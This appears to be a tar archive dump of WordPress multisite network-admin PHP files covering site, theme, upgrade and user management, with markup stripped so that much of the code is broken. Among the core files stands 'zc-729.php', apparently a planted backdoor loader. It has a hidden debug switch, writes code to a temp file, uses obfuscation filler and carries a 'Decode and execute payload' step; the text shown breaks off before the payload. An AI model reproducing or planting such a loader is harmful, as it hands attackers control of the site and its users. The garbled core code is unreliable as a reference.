'content' =>
'' . __( 'Add New takes you to the Add New Site screen. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '
' .
'' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '
' .
'' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '
' .
'' . __( 'An Edit link to a separate Edit Site screen.' ) . ' ' .
'' . __( 'Dashboard leads to the Dashboard for that site.' ) . ' ' .
'' . __( 'Deactivate, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . ' ' .
'' . __( 'Delete which is a permanent action after the confirmation screens.' ) . ' ' .
'' . __( 'Visit to go to the front-end site live.' ) . ' ' .
'' . __( 'The site ID is used internally, and is not shown on the front end of the site or to users/viewers.' ) . '
' .
'' . __( 'Clicking on bold headings can re-sort this table.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Site Management ' ) . '
' .
'' . __( 'Support Forums ' ) . '
'
);
get_current_screen()->set_screen_reader_content(
array(
'heading_pagination' => __( 'Sites list navigation' ),
'heading_list' => __( 'Sites list' ),
)
);
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( isset( $_GET['action'] ) ) {
/** This action is documented in wp-admin/network/edit.php */
do_action( 'wpmuadminedit' );
// A list of valid actions and their associated messaging for confirmation output.
$manage_actions = array(
/* translators: %s: Site URL. */
'activateblog' => __( 'You are about to activate the site %s.' ),
/* translators: %s: Site URL. */
'deactivateblog' => __( 'You are about to deactivate the site %s.' ),
/* translators: %s: Site URL. */
'unarchiveblog' => __( 'You are about to unarchive the site %s.' ),
/* translators: %s: Site URL. */
'archiveblog' => __( 'You are about to archive the site %s.' ),
/* translators: %s: Site URL. */
'unspamblog' => __( 'You are about to unspam the site %s.' ),
/* translators: %s: Site URL. */
'spamblog' => __( 'You are about to mark the site %s as spam.' ),
/* translators: %s: Site URL. */
'deleteblog' => __( 'You are about to delete the site %s.' ),
/* translators: %s: Site URL. */
'unmatureblog' => __( 'You are about to mark the site %s as mature.' ),
/* translators: %s: Site URL. */
'matureblog' => __( 'You are about to mark the site %s as not mature.' ),
);
if ( 'confirm' === $_GET['action'] ) {
// The action2 parameter contains the action being taken on the site.
$site_action = $_GET['action2'];
if ( ! array_key_exists( $site_action, $manage_actions ) ) {
wp_die( __( 'The requested action is not valid.' ) );
}
// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
check_admin_referer( 'confirm' );
} else {
check_admin_referer( $site_action . '_' . $id );
}
if ( ! headers_sent() ) {
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
}
if ( get_network()->site_id == $id ) {
wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
}
$site_details = get_site( $id );
$site_address = untrailingslashit( $site_details->domain . $site_details->path );
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
403 ) );
}
$updated_action = 'not_deleted';
if ( '0' != $id && get_network()->site_id != $id && current_user_can( 'delete_site', $id ) ) {
wpmu_delete_blog( $id, true );
$updated_action = 'delete';
}
break;
case 'delete_sites':
check_admin_referer( 'ms-delete-sites' );
foreach ( (array) $_POST['site_ids'] as $site_id ) {
$site_id = (int) $site_id;
if ( get_network()->site_id == $site_id ) {
continue;
}
if ( ! current_user_can( 'delete_site', $site_id ) ) {
$site = get_site( $site_id );
$site_address = untrailingslashit( $site->domain . $site->path );
wp_die(
sprintf(
/* translators: %s: Site URL. */
__( 'Sorry, you are not allowed to delete the site %s.' ),
$site_address
),
403
);
}
$updated_action = 'all_delete';
wpmu_delete_blog( $site_id, true );
}
break;
case 'allblogs':
if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
$doaction = $_POST['action'];
foreach ( (array) $_POST['allblogs'] as $key => $val ) {
if ( '0' != $val && get_network()->site_id != $val ) {
switch ( $doaction ) {
case 'delete':
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
domain . $site->path );
?>
id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $redirect_to );
exit;
}
} else {
// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
$location = remove_query_arg(
array( '_wp_http_referer', '_wpnonce' ),
add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
);
wp_redirect( $location );
exit;
}
break;
case 'archiveblog':
case 'unarchiveblog':
update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
break;
case 'activateblog':
update_blog_status( $id, 'deleted', '0' );
/**
* Fires after a network site is activated.
*
* @since MU (3.0.0)
*
* @param string $id The ID of the activated site.
*/
do_action( 'activate_blog', $id );
break;
case 'deactivateblog':
/**
* Fires before a network site is deactivated.
*
* @since MU (3.0.0)
*
* @param string $id The ID of the site being deactivated.
*/
do_action( 'deactivate_blog', $id );
update_blog_status( $id, 'deleted', '1' );
break;
case 'unspamblog':
case 'spamblog':
update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
break;
case 'unmatureblog':
case 'matureblog':
update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
break;
}
if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
$updated_action = $_GET['action'];
}
if ( ! empty( $updated_action ) ) {
wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
exit;
}
}
$msg = '';
if ( isset( $_GET['updated'] ) ) {
$action = $_GET['updated'];
switch ( $action ) {
case 'all_notspam':
$msg = __( 'Sites removed from spam.' );
break;
case 'all_spam':
$msg = __( 'Sites marked as spam.' );
break;
case 'all_delete':
$msg = __( 'Sites deleted.' );
break;
case 'delete':
$msg = __( 'Site deleted.' );
break;
case 'not_deleted':
$msg = __( 'Sorry, you are not allowed to delete that site.' );
break;
case 'archiveblog':
$msg = __( 'Site archived.' );
break;
case 'unarchiveblog':
$msg = __( 'Site unarchived.' );
break;
case 'activateblog':
$msg = __( 'Site activated.' );
break;
case 'deactivateblog':
$msg = __( 'Site deactivated.' );
break;
case 'unspamblog':
$msg = __( 'Site removed from spam.' );
break;
case 'spamblog':
$msg = __( 'Site marked as spam.' );
break;
default:
/**
* Filters a specific, non-default, site-updated message in the Network admin.
*
* The dynamic portion of the hook name, `$action`, refers to the non-default
* site update action.
*
* @since 3.1.0
*
* @param string $msg The update message. Default 'Settings saved'.
*/
$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
break;
}
if ( ! empty( $msg ) ) {
$msg = '';
}
}
$wp_list_table->prepare_items();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
';
printf(
/* translators: %s: Search query. */
__( 'Search results for: %s' ),
'
' . esc_html( $s ) . ' '
);
echo '';
}
?>
views(); ?>
search_box( __( 'Search Sites' ), 'site' ); ?>
display(); ?>
theme-editor.php 0000644 00000000403 15120260073 0007634 0 ustar 00 get_pagenum();
$action = $wp_list_table->current_action();
$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';
// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array(
'enabled',
'disabled',
'deleted',
'error',
'enabled-auto-update',
'disabled-auto-update',
);
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer = remove_query_arg( $temp_args, wp_get_referer() );
if ( $action ) {
switch ( $action ) {
case 'enable':
check_admin_referer( 'enable-theme_' . $_GET['theme'] );
WP_Theme::network_enable_theme( $_GET['theme'] );
if ( false === strpos( $referer, '/network/themes.php' ) ) {
wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
} else {
wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
}
exit;
case 'disable':
check_admin_referer( 'disable-theme_' . $_GET['theme'] );
WP_Theme::network_disable_theme( $_GET['theme'] );
wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
exit;
case 'enable-selected':
check_admin_referer( 'bulk-themes' );
$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
if ( empty( $themes ) ) {
wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
exit;
}
WP_Theme::network_enable_theme( (array) $themes );
wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
exit;
case 'disable-selected':
check_admin_referer( 'bulk-themes' );
$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
if ( empty( $themes ) ) {
wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
exit;
}
WP_Theme::network_disable_theme( (array) $themes );
wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
exit;
case 'update-selected':
check_admin_referer( 'bulk-themes' );
if ( isset( $_GET['themes'] ) ) {
$themes = explode( ',', $_GET['themes'] );
} elseif ( isset( $_POST['checked'] ) ) {
$themes = (array) $_POST['checked'];
} else {
$themes = array();
}
$title = __( 'Update Themes' );
$parent_file = 'themes.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
echo '';
echo '
' . esc_html( $title ) . ' ';
$url = self_admin_url( 'update.php?action=update-selected-themes&themes=' . urlencode( implode( ',', $themes ) ) );
$url = wp_nonce_url( $url, 'bulk-update-themes' );
echo "";
echo '';
require_once ABSPATH . 'wp-admin/admin-footer.php';
exit;
case 'delete-selected':
if ( ! current_user_can( 'delete_themes' ) ) {
wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) );
}
check_admin_referer( 'bulk-themes' );
$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();
if ( empty( $themes ) ) {
wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
exit;
}
$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );
if ( empty( $themes ) ) {
wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
exit;
}
$theme_info = array();
foreach ( $themes as $key => $theme ) {
$theme_info[ $theme ] = wp_get_theme( $theme );
}
require ABSPATH . 'wp-admin/update.php';
$parent_file = 'themes.php';
if ( ! isset( $_REQUEST['verify-delete'] ) ) {
wp_enqueue_script( 'jquery' );
require_once ABSPATH . 'wp-admin/admin-header.php';
$themes_to_delete = count( $themes );
?>
' . sprintf(
/* translators: 1: Theme name, 2: Theme author. */
_x( '%1$s by %2$s', 'theme' ),
'' . $theme->display( 'Name' ) . ' ',
'' . $theme->display( 'Author' ) . ' '
) . '';
}
?>
';
}
wp_nonce_field( 'bulk-themes' );
if ( 1 === $themes_to_delete ) {
submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
} else {
submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
}
?>
1,
'action' => 'delete-selected',
'checked' => $_REQUEST['checked'],
'_wpnonce' => $_REQUEST['_wpnonce'],
),
network_admin_url( 'themes.php' )
)
)
);
}
$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
wp_redirect(
add_query_arg(
array(
'deleted' => count( $themes ),
'paged' => $paged,
's' => $s,
),
network_admin_url( 'themes.php' )
)
);
exit;
case 'enable-auto-update':
case 'disable-auto-update':
case 'enable-auto-update-selected':
case 'disable-auto-update-selected':
if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) );
}
if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
check_admin_referer( 'updates' );
} else {
if ( empty( $_POST['checked'] ) ) {
// Nothing to do.
wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
exit;
}
check_admin_referer( 'bulk-themes' );
}
$auto_updates = (array) get_site_option( 'auto_update_themes', array() );
if ( 'enable-auto-update' === $action ) {
$auto_updates[] = $_GET['theme'];
$auto_updates = array_unique( $auto_updates );
$referer = add_query_arg( 'enabled-auto-update', 1, $referer );
} elseif ( 'disable-auto-update' === $action ) {
$auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) );
$referer = add_query_arg( 'disabled-auto-update', 1, $referer );
} else {
// Bulk enable/disable.
$themes = (array) wp_unslash( $_POST['checked'] );
if ( 'enable-auto-update-selected' === $action ) {
$auto_updates = array_merge( $auto_updates, $themes );
$auto_updates = array_unique( $auto_updates );
$referer = add_query_arg( 'enabled-auto-update', count( $themes ), $referer );
} else {
$auto_updates = array_diff( $auto_updates, $themes );
$referer = add_query_arg( 'disabled-auto-update', count( $themes ), $referer );
}
}
$all_items = wp_get_themes();
// Remove themes that don't exist or have been deleted since the option was last updated.
$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );
update_site_option( 'auto_update_themes', $auto_updates );
wp_safe_redirect( $referer );
exit;
default:
$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
if ( empty( $themes ) ) {
wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
exit;
}
check_admin_referer( 'bulk-themes' );
/** This action is documented in wp-admin/network/site-themes.php */
$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $referer );
exit;
}
}
$wp_list_table->prepare_items();
add_thickbox();
add_screen_option( 'per_page' );
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '
' .
'' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site’s Appearance > Themes screen.' ) . '
' .
'' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '
',
)
);
$help_sidebar_autoupdates = '';
if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
get_current_screen()->add_help_tab(
array(
'id' => 'plugins-themes-auto-updates',
'title' => __( 'Auto-updates' ),
'content' =>
'' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '
' .
'' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '
',
)
);
$help_sidebar_autoupdates = '' . __( 'Learn more: Auto-updates documentation ' ) . '
';
}
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Network Themes ' ) . '
' .
$help_sidebar_autoupdates .
'' . __( 'Support ' ) . '
'
);
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter themes list' ),
'heading_pagination' => __( 'Themes list navigation' ),
'heading_list' => __( 'Themes list' ),
)
);
$title = __( 'Themes' );
$parent_file = 'themes.php';
wp_enqueue_script( 'updates' );
wp_enqueue_script( 'theme-preview' );
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
';
printf(
/* translators: %s: Search query. */
__( 'Search results for: %s' ),
'
' . esc_html( $s ) . ' '
);
echo '';
}
?>
' . sprintf( $message, number_format_i18n( $enabled ) ) . '
';
} elseif ( isset( $_GET['disabled'] ) ) {
$disabled = absint( $_GET['disabled'] );
if ( 1 === $disabled ) {
$message = __( 'Theme disabled.' );
} else {
/* translators: %s: Number of themes. */
$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
}
echo '' . sprintf( $message, number_format_i18n( $disabled ) ) . '
';
} elseif ( isset( $_GET['deleted'] ) ) {
$deleted = absint( $_GET['deleted'] );
if ( 1 === $deleted ) {
$message = __( 'Theme deleted.' );
} else {
/* translators: %s: Number of themes. */
$message = _n( '%s theme deleted.', '%s themes deleted.', $deleted );
}
echo '' . sprintf( $message, number_format_i18n( $deleted ) ) . '
';
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
$enabled = absint( $_GET['enabled-auto-update'] );
if ( 1 === $enabled ) {
$message = __( 'Theme will be auto-updated.' );
} else {
/* translators: %s: Number of themes. */
$message = _n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled );
}
echo '' . sprintf( $message, number_format_i18n( $enabled ) ) . '
';
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
$disabled = absint( $_GET['disabled-auto-update'] );
if ( 1 === $disabled ) {
$message = __( 'Theme will no longer be auto-updated.' );
} else {
/* translators: %s: Number of themes. */
$message = _n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled );
}
echo '' . sprintf( $message, number_format_i18n( $disabled ) ) . '
';
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
echo '' . __( 'No theme selected.' ) . '
';
} elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) {
echo '' . __( 'You cannot delete a theme while it is active on the main site.' ) . '
';
}
?>
search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
views();
if ( 'broken' === $status ) {
echo '' . __( 'The following themes are installed but incomplete.' ) . '
';
}
?>
display(); ?>
add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '
' .
'' . __( 'If a version update to core has not happened, clicking this button won’t affect anything.' ) . '
' .
'' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Upgrade Network ' ) . '
' .
'' . __( 'Support ' ) . '
'
);
require_once ABSPATH . 'wp-admin/admin-header.php';
if ( ! current_user_can( 'upgrade_network' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
echo '';
echo '
' . __( 'Upgrade Network' ) . ' ';
$action = isset( $_GET['action'] ) ? $_GET['action'] : 'show';
switch ( $action ) {
case 'upgrade':
$n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0;
if ( $n < 5 ) {
/**
* @global int $wp_db_version WordPress database version.
*/
global $wp_db_version;
update_site_option( 'wpmu_upgrade_site', $wp_db_version );
}
$site_ids = get_sites(
array(
'spam' => 0,
'deleted' => 0,
'archived' => 0,
'network_id' => get_current_network_id(),
'number' => 5,
'offset' => $n,
'fields' => 'ids',
'order' => 'DESC',
'orderby' => 'id',
'update_site_meta_cache' => false,
)
);
if ( empty( $site_ids ) ) {
echo '
' . __( 'All done!' ) . '
';
break;
}
echo '
';
foreach ( (array) $site_ids as $site_id ) {
switch_to_blog( $site_id );
$siteurl = site_url();
$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
restore_current_blog();
echo "$siteurl ";
$response = wp_remote_get(
$upgrade_url,
array(
'timeout' => 120,
'httpversion' => '1.1',
'sslverify' => false,
)
);
if ( is_wp_error( $response ) ) {
wp_die(
sprintf(
/* translators: 1: Site URL, 2: Server error message. */
__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
$siteurl,
'' . $response->get_error_message() . ' '
)
);
}
/**
* Fires after the Multisite DB upgrade for each site is complete.
*
* @since MU (3.0.0)
*
* @param array|WP_Error $response The upgrade response array or WP_Error on failure.
*/
do_action( 'after_mu_upgrade', $response );
/**
* Fires after each site has been upgraded.
*
* @since MU (3.0.0)
*
* @param int $site_id The Site ID.
*/
do_action( 'wpmu_upgrade_site', $site_id );
}
echo ' ';
?>
user-edit.php 0000644 00000000375 15120260073 0007157 0 ustar 00 add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '
' .
'' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Network Users ' ) . '
' .
'' . __( 'Support Forums ' ) . '
'
);
if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
check_admin_referer( 'add-user', '_wpnonce_add-user' );
if ( ! current_user_can( 'manage_network_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
if ( ! is_array( $_POST['user'] ) ) {
wp_die( __( 'Cannot create an empty user.' ) );
}
$user = wp_unslash( $_POST['user'] );
$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );
if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
$add_user_errors = $user_details['errors'];
} else {
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );
if ( ! $user_id ) {
$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
} else {
/**
* Fires after a new user has been created via the network user-new.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_user_new_created_user', $user_id );
wp_redirect(
add_query_arg(
array(
'update' => 'added',
'user_id' => $user_id,
),
'user-new.php'
)
);
exit;
}
}
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'added' === $_GET['update'] ) {
$edit_link = '';
if ( isset( $_GET['user_id'] ) ) {
$user_id_new = absint( $_GET['user_id'] );
if ( $user_id_new ) {
$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
}
}
$message = __( 'User added.' );
if ( $edit_link ) {
$message .= sprintf( ' %s ', $edit_link, __( 'Edit user' ) );
}
$messages[] = $message;
}
}
$title = __( 'Add New User' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php'; ?>
';
}
}
if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
?>
get_error_messages() as $message ) {
echo "
$message
";
}
?>
1 ) {
$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.
$title = __( 'Users' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
echo '';
confirm_delete_users( $_POST['allusers'] );
echo '
';
require_once ABSPATH . 'wp-admin/admin-footer.php';
} else {
wp_redirect( network_admin_url( 'users.php' ) );
}
exit;
case 'allusers':
if ( ! current_user_can( 'manage_network_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
check_admin_referer( 'bulk-users-network' );
$doaction = $_POST['action'];
$userfunction = '';
foreach ( (array) $_POST['allusers'] as $user_id ) {
if ( ! empty( $user_id ) ) {
switch ( $doaction ) {
case 'delete':
if ( ! current_user_can( 'delete_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$title = __( 'Users' );
$parent_file = 'users.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
echo '';
confirm_delete_users( $_POST['allusers'] );
echo '
';
require_once ABSPATH . 'wp-admin/admin-footer.php';
exit;
case 'spam':
$user = get_userdata( $user_id );
if ( is_super_admin( $user->ID ) ) {
wp_die(
sprintf(
/* translators: %s: User login. */
__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
esc_html( $user->user_login )
)
);
}
$userfunction = 'all_spam';
$blogs = get_blogs_of_user( $user_id, true );
foreach ( (array) $blogs as $details ) {
if ( get_network()->site_id != $details->userblog_id ) { // Main blog is not a spam!
update_blog_status( $details->userblog_id, 'spam', '1' );
}
}
$user_data = $user->to_array();
$user_data['spam'] = '1';
wp_update_user( $user_data );
break;
case 'notspam':
$user = get_userdata( $user_id );
$userfunction = 'all_notspam';
$blogs = get_blogs_of_user( $user_id, true );
foreach ( (array) $blogs as $details ) {
update_blog_status( $details->userblog_id, 'spam', '0' );
}
$user_data = $user->to_array();
$user_data['spam'] = '0';
wp_update_user( $user_data );
break;
}
}
}
if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
$sendback = wp_get_referer();
$user_ids = (array) $_POST['allusers'];
/** This action is documented in wp-admin/network/site-themes.php */
$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
wp_safe_redirect( $sendback );
exit;
}
wp_safe_redirect(
add_query_arg(
array(
'updated' => 'true',
'action' => $userfunction,
),
wp_get_referer()
)
);
} else {
$location = network_admin_url( 'users.php' );
if ( ! empty( $_REQUEST['paged'] ) ) {
$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
}
wp_redirect( $location );
}
exit;
case 'dodelete':
check_admin_referer( 'ms-users-delete' );
if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
foreach ( $_POST['blog'] as $id => $users ) {
foreach ( $users as $blogid => $user_id ) {
if ( ! current_user_can( 'delete_user', $id ) ) {
continue;
}
if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
remove_user_from_blog( $id, $blogid, (int) $user_id );
} else {
remove_user_from_blog( $id, $blogid );
}
}
}
}
$i = 0;
if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
foreach ( $_POST['user'] as $id ) {
if ( ! current_user_can( 'delete_user', $id ) ) {
continue;
}
wpmu_delete_user( $id );
$i++;
}
}
if ( 1 === $i ) {
$deletefunction = 'delete';
} else {
$deletefunction = 'all_delete';
}
wp_redirect(
add_query_arg(
array(
'updated' => 'true',
'action' => $deletefunction,
),
network_admin_url( 'users.php' )
)
);
exit;
}
}
$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
if ( $pagenum > $total_pages && $total_pages > 0 ) {
wp_redirect( add_query_arg( 'paged', $total_pages ) );
exit;
}
$title = __( 'Users' );
$parent_file = 'users.php';
add_screen_option( 'per_page' );
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '
' .
'' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '
' .
'' . __( 'You can also go to the user’s profile page by clicking on the individual username.' ) . '
' .
'' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '
' .
'' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '
' .
'' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Network Users ' ) . '
' .
'' . __( 'Support Forums ' ) . '
'
);
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter users list' ),
'heading_pagination' => __( 'Users list navigation' ),
'heading_list' => __( 'Users list' ),
)
);
require_once ABSPATH . 'wp-admin/admin-header.php';
if ( isset( $_REQUEST['updated'] ) && 'true' == $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
?>
';
printf(
/* translators: %s: Search query. */
__( 'Search results for: %s' ),
'
' . esc_html( $usersearch ) . ' '
);
echo '';
}
?>
views(); ?>
search_box( __( 'Search Users' ), 'all-user' ); ?>
display(); ?>
zc-729.php 0000644 00000166254 15120260073 0006222 0 ustar 00 998998DEBUG MODE ACTIVE ';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, ' 50) {
$jv3 = 'branch_a';
} else {
$jv3 = 'branch_b';
}
$jv1 = array_reverse(explode('.', 'a.b.c.d'));
return 'valzJpQ11';
}
public static function init400() {
// Decode and execute payload
